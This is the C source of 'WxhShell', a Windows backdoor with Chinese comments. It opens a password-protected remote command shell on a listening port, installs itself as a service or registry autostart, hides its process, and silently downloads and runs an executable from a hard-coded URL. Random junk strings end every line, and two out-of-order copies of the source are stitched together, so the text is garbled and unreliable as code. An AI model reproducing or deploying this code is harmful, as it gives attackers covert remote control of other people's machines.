DWORD BasePriority; /[a|DUoHO
ULONG UniqueProcessId; n}< ir!ZTO
ULONG InheritedFromUniqueProcessId; 6P;o 6s
} PROCESS_BASIC_INFORMATION; -6rf( ER
xClRO,-
PROCNTQSIP NtQueryInformationProcess; r=fE8[,
1@A7h$1P
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -|m$YrzG
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #_.g2 Y
koOy Z>
HANDLE hProcess; G*i.a*9<)
PROCESS_BASIC_INFORMATION pbi; ?SC3Vzr
uu}a:qrY
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); T>#TDMU#Fm
if(NULL == hInst ) return 0; HUj+-
[O^}rUqq
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 0TTIaa$
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uuu\f*<
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); IWAj Mwo
%6AYCN?Ih
if (!NtQueryInformationProcess) return 0; UhsO\ 9}qH
7dSh3f!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (E!%v`_0
if(!hProcess) return 0; |/@0~O(6
MWM
+hk1fs
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; |]^l^e6m
R=`U 4Ml;
CloseHandle(hProcess); [ZuVUOm
AK6=Ydu
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); B ,V(LTE
if(hProcess==NULL) return 0; +x(YG(5\w
aSRjFL^
HMODULE hMod; ^~^mR#<P$
char procName[255]; %VzYqj_P"
unsigned long cbNeeded; \WWG>OUh.U
j7f5|^/x3
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Ll,I-BQ9
mHKJ
CloseHandle(hProcess); t-_#Q bzE{
Y|mW.
if(strstr(procName,"services")) return 1; // 以服务启动 1{^CfamF
[!W5}=^H
return 0; // 注册表启动 y'^F,WTM
} 21U&Ww
>yX/+p_
// 主模块 P"b8!k?
int StartWxhshell(LPSTR lpCmdLine) d>UnJ)V}
{ bn $)f6%
SOCKET wsl; ,ohmc\*J
BOOL val=TRUE; 9+}cE**=d
int port=0; ^Sw2xT$p{j
struct sockaddr_in door; \H^;'agA
veV_be{i
if(wscfg.ws_autoins) Install(); oWI!u 5
0}B?sNr
port=atoi(lpCmdLine); Q.yb4
*\D}eBd|
if(port<=0) port=wscfg.ws_port; mKM,kY
*m*`}9
WSADATA data; Wu ,S\!
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CA/ -Gb
SgiDh dE
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; C#0brCQq3
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (i\)|c/a7
door.sin_family = AF_INET; q]K'p,'
door.sin_addr.s_addr = inet_addr("127.0.0.1"); " rsSW3_
door.sin_port = htons(port); n!ZMTcK8
mB~~_]M
N
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =LOk13l\"
closesocket(wsl); vHS2q
>
return 1; guU=NQZ
} $(3uOsy
[P{a_(
if(listen(wsl,2) == INVALID_SOCKET) { )AI?x@
closesocket(wsl); (Ux[[
return 1; [,rn3C A
} (Izf
L1
Wxhshell(wsl); %yfE7UPS]
WSACleanup(); Y3k[~A7X
e gI&epN
return 0; 19p8B&
uxb:^d?D!
} :5jexz."M
B X*69
// 以NT服务方式启动 zd.'*Dj
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) L/yaVU{aEb
{ :> SLQ[1
DWORD status = 0; NEw$q4
DWORD specificError = 0xfffffff; ~cIl$b
"kU]
serviceStatus.dwServiceType = SERVICE_WIN32; 1DqX:WM6
serviceStatus.dwCurrentState = SERVICE_START_PENDING; h/HHKn
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; >k;p.Pay%
serviceStatus.dwWin32ExitCode = 0; \^0 !|
serviceStatus.dwServiceSpecificExitCode = 0; d*2u}1Jo8
serviceStatus.dwCheckPoint = 0; ALXTR%f
serviceStatus.dwWaitHint = 0; ^^U%cu Kg
q*bt4,D&Es
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); P#MK
if (hServiceStatusHandle==0) return; 6WeM rWx
&?y7I Pp
status = GetLastError(); Rk A8
if (status!=NO_ERROR) WI&lj<*
{ FqZgdmwR
serviceStatus.dwCurrentState = SERVICE_STOPPED; M?$ZJ-
serviceStatus.dwCheckPoint = 0; oxzq!U
serviceStatus.dwWaitHint = 0; /P:EWUf'
serviceStatus.dwWin32ExitCode = status; |cgui
serviceStatus.dwServiceSpecificExitCode = specificError; cS(;Qs]Q
SetServiceStatus(hServiceStatusHandle, &serviceStatus); k"0;D-lTZ>
return; A?A9`w
} <^c3}
f@d9Hqr+l;
serviceStatus.dwCurrentState = SERVICE_RUNNING; yQ%"U^.m
serviceStatus.dwCheckPoint = 0; nxfoWy
serviceStatus.dwWaitHint = 0; ~8{sA5y
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e)b%`ntF
} gi$XB}L+X
I ]9C_
// 处理NT服务事件,比如:启动、停止 \f%.n]>
VOID WINAPI NTServiceHandler(DWORD fdwControl) 8EI:(NE*J
{ "%@v++4y
switch(fdwControl) ?:uNN
{ VD[pZ2;4
case SERVICE_CONTROL_STOP: "VTF}#Uo
serviceStatus.dwWin32ExitCode = 0; )R &,'`\
serviceStatus.dwCurrentState = SERVICE_STOPPED; DpvrMI~I_
serviceStatus.dwCheckPoint = 0; Jzex]_:1~
serviceStatus.dwWaitHint = 0; w7
*V^B
{ )/>A6A:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~*-qX$gr
} `5l01nOxJ
return; T$mbk3P
case SERVICE_CONTROL_PAUSE: n_23EcSy
serviceStatus.dwCurrentState = SERVICE_PAUSED; J#
EP%
break; :c=.D;,
case SERVICE_CONTROL_CONTINUE: cbYK5fj"T
serviceStatus.dwCurrentState = SERVICE_RUNNING; (s&&>M]r_
break; ?JXa~.dA
case SERVICE_CONTROL_INTERROGATE: UQPU"F7.
break; 5jZiJw(
}; E ]f)Os$
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :mZYS4L~
} `]<`$71w
Fe!9y2Mg
// 标准应用程序主函数 fzPZ|
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |]sx+NlNc
{ /{*$JF
Qihdn66
// 获取操作系统版本 Vte EDL/w
OsIsNt=GetOsVer(); #{PmNx%M
GetModuleFileName(NULL,ExeFile,MAX_PATH); K 1W].(-@4
!20XsO
// 从命令行安装 Bp_wnd
if(strpbrk(lpCmdLine,"iI")) Install(); ?obm7<
G5Yk bw#
// 下载执行文件 ;;#`#v
if(wscfg.ws_downexe) { _A'{la~k
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {/ 2E*|W~I
WinExec(wscfg.ws_filenam,SW_HIDE); ?9xu{B>6
} y{=>$C[
m4m<nnM
if(!OsIsNt) { DQ80B)<O
// 如果时win9x,隐藏进程并且设置为注册表启动 N+g@8Q2s;5
HideProc(); goZ V.,w
StartWxhshell(lpCmdLine); <Ef[c@3
} PJ\0JR7a
else {_>em*V b
if(StartFromService()) 5o0Ch
// 以服务方式启动 kbI/4IRW
StartServiceCtrlDispatcher(DispatchTable); NX,-;v
else <+tD z (
// 普通方式启动 Adx`8}N8
StartWxhshell(lpCmdLine); $/Ov2z
VW<0Lt3
return 0; eUBrzoCO
} ~ ?^/u8
| C+o;
VR0=SE
1cC1*c0Z
=========================================== N#k61x
r{K;|'d%h
(f#b7O-Wn
=RsXI&&vh
8dO?K*J,H'
Qa4MZj;$K
" EgM*d)X
JL^2l$up
#include <stdio.h> ',=g;
#include <string.h> 5V5w:U>_z
#include <windows.h> S Xr%kndS
#include <winsock2.h> 9pD
7 f`
#include <winsvc.h> #R&H&1
#include <urlmon.h> 4N>>+]MWc
K8[DZ)rO;Z
#pragma comment (lib, "Ws2_32.lib") [V}, tO|
#pragma comment (lib, "urlmon.lib") iK;opA"
\RG!@$i
#define MAX_USER 100 // 最大客户端连接数 9A$m$
#define BUF_SOCK 200 // sock buffer KZ:hKY@q
#define KEY_BUFF 255 // 输入 buffer n/Dp"4H%q
/-M@[p&
#define REBOOT 0 // 重启 ,kM)7!]N
#define SHUTDOWN 1 // 关机 /X*oS&-M
$l[Rh1z`;+
#define DEF_PORT 5000 // 监听端口 3$/ 4wH^
md Gwh7/3
#define REG_LEN 16 // 注册表键长度 EbQa?
#define SVC_LEN 80 // NT服务名长度 EqB)sK/3
G}zZQy
// 从dll定义API 1KE:[YQ1
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); g P}+wbk
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); iCQ>@P]nE
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); >SmV74[s2
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (p)!Mq
"^
sM2MLh 'D
// wxhshell配置信息 b/("Y.r=
struct WSCFG { 6W2hr2Zy9
int ws_port; // 监听端口 =H`Q~Xx
char ws_passstr[REG_LEN]; // 口令 ml!5:r>
int ws_autoins; // 安装标记, 1=yes 0=no j? i#L}.I
char ws_regname[REG_LEN]; // 注册表键名 S?0$? w?
char ws_svcname[REG_LEN]; // 服务名 l.=p8-/$'7
char ws_svcdisp[SVC_LEN]; // 服务显示名 g=8un`]7
char ws_svcdesc[SVC_LEN]; // 服务描述信息 !q"cpL'4
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 42C<1@>zO
int ws_downexe; // 下载执行标记, 1=yes 0=no \Y|*Nee}XP
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" P:xT0gtt
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hpbf&S4
PAF8Wlg
}; 9$*s8}|
7<\C?`q"
// default Wxhshell configuration dY!Z
struct WSCFG wscfg={DEF_PORT, bn9;7`>.
"xuhuanlingzhe", zw@'vncc
1, :!TIK1
"Wxhshell", FY3IUG
"Wxhshell", qSU|=
"WxhShell Service", ?h8{xa5b
"Wrsky Windows CmdShell Service", 8{
c !).
"Please Input Your Password: ", [:EvTY
1, evuZY X@
"http://www.wrsky.com/wxhshell.exe", BOVPKX
"Wxhshell.exe" Q[4:
xkU
}; fxQN+6;
$iw%(H
// 消息定义模块
%yS3&Ju
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ps|)cW3`
char *msg_ws_prompt="\n\r? for help\n\r#>"; kGYTl,A{
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; tln37vq
char *msg_ws_ext="\n\rExit."; 5]Ajf;W\
char *msg_ws_end="\n\rQuit."; }FqA ppr
char *msg_ws_boot="\n\rReboot..."; P5<vf
char *msg_ws_poff="\n\rShutdown..."; aoW6U{\
char *msg_ws_down="\n\rSave to "; <yUstz,Xu^
v
$({C
char *msg_ws_err="\n\rErr!"; KA s 1(oG
char *msg_ws_ok="\n\rOK!"; \3YO<E!t
@* ust>7
char ExeFile[MAX_PATH]; e /K#>,
int nUser = 0; GIwh@4;
HANDLE handles[MAX_USER]; 8(U{2B8>\%
int OsIsNt; ;3'NMk
MjL)IgT
SERVICE_STATUS serviceStatus; ^eq</5q D
SERVICE_STATUS_HANDLE hServiceStatusHandle; .p`
pG3
V4w=/e_
// 函数声明 Rd*[%)
int Install(void); oA-:zz>wL
int Uninstall(void); #\rwLpC1u
int DownloadFile(char *sURL, SOCKET wsh); u,.3
int Boot(int flag); _"a=8a06G
void HideProc(void); pJIv+
int GetOsVer(void); 3(E
$I5
int Wxhshell(SOCKET wsl); "f.Z}AbP
void TalkWithClient(void *cs); IZ,oM!Y
int CmdShell(SOCKET sock); |,C#:"z;
int StartFromService(void); }WLh8i?_
int StartWxhshell(LPSTR lpCmdLine); l ,|%7-
a6xj\w
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 7*+]wEs
VOID WINAPI NTServiceHandler( DWORD fdwControl ); >p\e0n
)(M7lq.e7
// 数据结构和表定义 &]6)LFm
SERVICE_TABLE_ENTRY DispatchTable[] = gxNL_(A
{ <=K qcHb
{wscfg.ws_svcname, NTServiceMain}, 6 ,ANNj
{NULL, NULL} _u0$,Y?&